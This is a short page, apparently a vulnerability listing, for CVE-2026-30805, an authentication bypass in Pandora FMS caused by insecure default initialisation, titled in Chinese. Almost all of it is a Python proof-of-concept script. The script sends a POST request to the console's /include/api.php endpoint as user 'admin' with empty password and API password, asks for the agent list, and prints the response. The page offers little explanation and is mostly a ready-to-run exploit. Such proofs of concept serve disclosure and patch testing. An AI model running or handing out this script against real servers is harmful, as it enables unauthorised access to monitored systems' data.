CVE-2026-30805 Pandora FMS 资源不安全默认初始化致认证绕过

# PoC for CVE-2026-30805: Authentication Bypass via API # This script attempts to access the API without valid credentials # by exploiting insecure default initialization. import requests target_host = "http://target-ip/pandora_console" api_endpoint = "/include/api.php" # Attempting to access sensitive data without proper auth # Exploiting the condition where default init allows bypass payload = { "action": "get_agents", "user": "admin", "pass_pass": "", # Empty password exploiting default init "apipass": "" } try: print(f"[*] Sending request to {target_host}{api_endpoint}...") response = requests.post(target_host + api_endpoint, data=payload) if response.status_code == 200: print("[+] Request successful. Authentication may be bypassed.") print("[+] Response body:") print(response.text[:200]) # Print first 200 chars else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")